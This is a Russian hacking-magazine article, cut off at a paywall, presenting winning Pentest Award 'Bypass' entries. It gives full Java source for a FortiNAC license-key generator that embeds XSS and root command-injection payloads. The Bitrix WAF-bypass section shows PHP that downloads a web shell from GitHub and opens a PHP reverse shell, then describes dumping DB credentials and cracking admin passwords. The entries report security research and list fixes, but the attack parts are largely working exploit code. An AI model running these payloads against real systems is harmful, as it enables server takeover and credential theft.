Се­год­ня мы поз­накомим тебя с четырь­мя луч­шими работа­ми с Pentest Award из номина­ции Bypass. Тебя ждут: взлом FortiNAC через вре­донос­ный ключ акти­вации, зах­ват Bitrix в обход WAF, опыт написа­ния реверс‑шел­ла с кас­томным шиф­ровани­ем на Haskell и метод сай­дло­ада DLL, поз­воля­ющий миновать средс­тво защиты.

Pentest Award

В августе 2023 года прош­ла церемо­ния наг­ражде­ния Pentest Award — пре­мии для спе­циалис­тов по тес­тирова­нию на про­ник­новение, которую учре­дила ком­пания Awillix. Мы пуб­лику­ем луч­шие работы из каж­дой номина­ции. В этой статье соб­раны работы — победи­тели в номина­ции Bypass.

 

Четвертое место: «Кейген для Fortinet FortiNAC, встраивающий в лицензионный ключ пейлоад root RCE (CVE-2023-22637)»

  • Ав­тор: Илья Поляков, Angara Security

В этом иссле­дова­нии я изу­чил при­ложе­ние FortiNAC и нашел цепоч­ку дефек­тов и уяз­вимос­тей: облегча­ющая ревер­синг дебаго­вая информа­ция в ском­пилиро­ван­ных клас­сах Java, сла­бая крип­тогра­фия, хра­нимая XSS и инъ­екция команд, поз­воля­ющая соз­дать генера­тор лицен­зион­ных клю­чей, которые пос­ле акти­вации выпол­няют про­изволь­ный код от име­ни супер­поль­зовате­ля на сер­вере при­ложе­ния.

 

Исследование и эксплуатация

На­чалось всё с деком­пиляции Java-клас­сов при­ложе­ния, что поз­волило получить фак­тичес­ки исходный код (раз­ве что без ком­мента­риев), в том чис­ле име­на локаль­ных перемен­ных, бла­года­ря любез­но оставлен­ной при ком­пиляции отла­доч­ной информа­ции. Код, написан­ный на Java Server Pages, деком­пиляции, разуме­ется, не тре­бовал.

Я про­ана­лизи­ровал механизм про­вер­ки лицен­зион­ных клю­чей и нашел легаси‑фун­кцию. Она про­веря­ет клю­чи в ста­ром фор­мате, осно­ван­ном на уяз­вимой к ревер­сингу сим­метрич­ной крип­тогра­фии.

Та­ким обра­зом уда­лось най­ти воз­можность инъ­екции команд через текст клю­ча.

Се­рий­ный номер зада­ется про­изволь­ной стро­кой внут­ри клю­ча, а это откры­вает воз­можность для экс­плу­ата­ции хра­нимой XSS на сай­те при­ложе­ния.

 

Генератор лицензионных ключей с полезной нагрузкой

import com.bsc.license.LicenseDecoder;
import com.bsc.license.FortiNACLicense;
import com.bsc.license.FortiNACType;
import com.bsc.util.EncodeDecode;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.io.IOException;
import java.io.FileWriter;
public class inject {
static String pack(String s) {
int l = s.length();
return String.valueOf(String.valueOf(l).length()) + String.valueOf(l) + s;
}
static String key(FortiNACLicense l, String html) {
return EncodeDecode.encodeString(
pack(String.valueOf(l.getDaysValid()*24L*3600L*1000L)) +
pack(String.valueOf(l.getConcurrentClientCount())) +
pack("java.util.ArrayList") + pack("") + // Plugins
pack(l.getEth0MAC().toString()) +
pack(l.getType().getFullName()) +
pack("") + // Vendor
pack("1.8") + // Version
pack("java.util.ArrayList") + pack("") + // Options
pack(l.getSystemUUID().toString()) +
pack(String.valueOf(l.getUSG())) + // Not really USG, but anyways
pack(l.getSKU()) +
pack(l.getModelName()) +
pack("false") + // Expired
pack("1") + // rtrCount
pack(l.getName().toString()) +
pack(l.getSerial().toString() + html) +
pack(String.valueOf(l.getGeneratedDate().toEpochMilli()))
);
}
public static void main(String[] args) throws IOException {
String payload = new String(Files.readAllBytes(Paths.get(".", "payload.sh")));
System.setProperty("javax.net.ssl.keyStorePassword", "^8Bradford%23");
LicenseDecoder ld = new LicenseDecoder();
FortiNACLicense l = ld.decode((new String(Files.readAllBytes(Paths.get(".", "input.lic")))).replaceAll("(\\r|\\n)", "")); System.out.println(l);
FileWriter output = new FileWriter("output.lic");
output.write(
key(
l,
"<img src='nowhere' onerror="var IP=$('licenseServerCombo').value.split(/ -- /)[0];" +
"CommonUtils.dataRequest('LicenseActions.jsp',{},
{action:'ajaxApplyLicense',deviceProxy:IP,deviceIP:IP,thisIP:'0'+IP,newLicense:'" +
key(l, "") + ";" + payload + "'});"/>"
)
);
output.close();
}
}
 

Вывод

Пос­ле ухо­да Fortinet из Рос­сии внеш­ний зло­умыш­ленник мог вос­поль­зовать­ся тем, что рос­сий­ские ком­пании нуж­дают­ся в прод­лении лицен­зии на FortiNAC. Раз­местив в интерне­те кей­гены, которые соз­давали бы «тро­яни­зиро­ван­ные» лицен­зион­ные клю­чи, он зах­ватил бы сер­веры жертв.

 

Третье место: «Известная уязвимость в Bitrix и байпас WAF»

  • Ав­тор: maledictos

Бай­пасы, о которых пой­дет речь, про­води­лись в раз­ное вре­мя и при пен­тесте инфраструк­туры раз­ных ком­паний. Общее здесь — наличие оди­нако­вого WAF, пра­вила для которо­го дописы­вались по ходу дела и который в качес­тве обновле­ния получа­ли все кли­енты. То есть пос­ле изме­нения обще­го пра­вила у одно­го кли­ента у дру­гих оно тоже менялось.

В пер­вый раз все было мак­сималь­но пря­моли­ней­но. Через «1С:Бит­рикс» мож­но было закинуть шелл, исполнить код, получить дос­туп без допол­нитель­ных изме­нений наг­рузки. В общем, делай что душа пожела­ет.

На вто­рой раз мы встре­тили пра­вило для WAF, которое бло­киро­вало конс­трук­ции такого типа:

<?php system($_GET["cmd"]); ?>

Ло­гич­ное решение, но от проб­лемы оно не избавля­ет. Жаль, у нас сра­зу не спро­сили, как зак­рыть эту дыру.

Те­перь СЗИ бло­киру­ет с фор­мулиров­кой «Remote code execution» и кра­сивой над­писью.

Мы без проб­лем обош­ли это пра­вило. Нап­ример, сра­бота­ет вот такой код:

$file = fopen("/homepath/bitrix/ololol.php","wb");
$content = 'whoami';
fwrite($file,$content);
fclose($file);

Или такой:

file_put_contents("/homepath/bitrix/ololololo.php",
fopen("https://raw.githubusercontent.com/artyuum/simple-php-web-shell/master/index.php", "r"));

Пос­ле сле­дующе­го обновле­ния ока­зались зап­рещены все коман­ды и фун­кции PHP в теле зап­роса. Так­же изме­нили content-type и кое‑что еще. Но на этом прик­лючения вов­се не закон­чились!

Поз­днее у дру­гого заказ­чика мы сно­ва наш­ли Bitrix с той же уяз­вимостью, но на этот раз под защитой СЗИ. Бороть­ся с которой неп­росто, но поп­робовать сто­ило.

Тем более что обходной путь ока­зал­ся очень прос­тым. При помощи по­иско­вика по исто­рии домен­ного име­ни мы наш­ли dev-сайт.

Тут при нажатии «Авто­риза­ция Бит­рикс24» может дис­кло­узнуть­ся основной домен, для которо­го этот «Бит­рикс» покупал­ся.

Даль­ше всё по той же схе­ме: про­вери­ли путь для залив­ки, получи­ли ID сес­сии Bitrix, заг­рузили шелл.

Вы­тас­кива­ем кон­фиг базы дан­ных.

И получа­ем логин и пароль в виде MD5 и бонусом — email.

Под­бира­ем пароль и заходим на глав­ный сайт под адми­ном (или поч­ти). Получа­ется, мы обош­ли WAF? Поч­ти что. Оста­лось толь­ко выпол­нить код, но кноп­ка «Выпол­нить» неак­тивна.

Од­нако мож­но самос­тоятель­но добавить себя в груп­пу адми­нис­тра­торов, дос­таточ­но лишь пос­тавить галоч­ку. Очень удоб­но!

Пос­ле это­го мож­но спо­кой­но исполь­зовать встро­енную фун­кцию исполне­ния кода, а всё потому, что на этом эндпо­инте пра­вила не уста­нов­лены. Выходит, RCE by design...

Еще воз­никли неболь­шие проб­лемы с выводом резуль­тата выпол­нения скрип­та. Если пер­вый зап­рос не сра­бота­ет, то вывод осталь­ных скрип­тов не отоб­разит­ся, но это мелочи.

Наг­рузка:

$sock=fsockopen("ip",port);
$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes)
 

Вывод

Здесь мож­но дать сле­дующие рекомен­дации:

  • сме­нить все пароли;
  • об­новить Bitrix до акту­аль­ной вер­сии или отклю­чить уяз­вимый эндпо­инт;
  • ес­ли не исполь­зует­ся фун­кция исполне­ния кода из UI, уда­лить этот модуль;
  • при миг­рации сай­та зак­рыть дос­туп к dev-сре­де из интерне­та или зак­рыть ее при помощи СЗИ;
  • не перено­сить базу дан­ных dev-сре­ды в про­дак­шен‑сре­ду.
 

Второе место: «Reverse shell на Haskell и собственный шифрованный канал связи для обхода актуальной версии антивируса»

В рам­ках одно­го из рабочих про­ектов по внут­ренне­му пен­тесту я обна­ружил на одном из сер­веров воз­можность заг­ружать фай­лы и запус­кать их. Там работа­ла ОС Windows Server. Но, помимо это­го, был уста­нов­лен один из наибо­лее извес­тных анти­виру­сов в акту­аль­ной вер­сии, со све­жими обновле­ниями и с пра­виль­но задан­ными нас­трой­ками (нечас­то такое встре­тишь, вер­но?).

 

Первые проблемы

Продолжение доступно только участникам

Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

Вариант 2. Открой один материал

Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.


  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии